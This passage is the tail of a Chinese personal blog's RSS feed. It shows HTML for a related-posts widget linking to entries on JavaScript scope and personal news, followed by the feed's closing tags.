                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/05/7667865.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">古城，我快回来咧！</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="JavaScript函数作用域链" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1200%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8529867.bmp" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">JavaScript函数作用域链</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="昨天跟老婆去登记领取了红本本" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1346%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/24/9454094.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">昨天跟老婆去登记领取了红本本</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="JavaScript变量作用域回顾" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1191%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/09/8089851.bmp" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">JavaScript变量作用域回顾</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="4" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.ineeke.com/archives/1408/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>

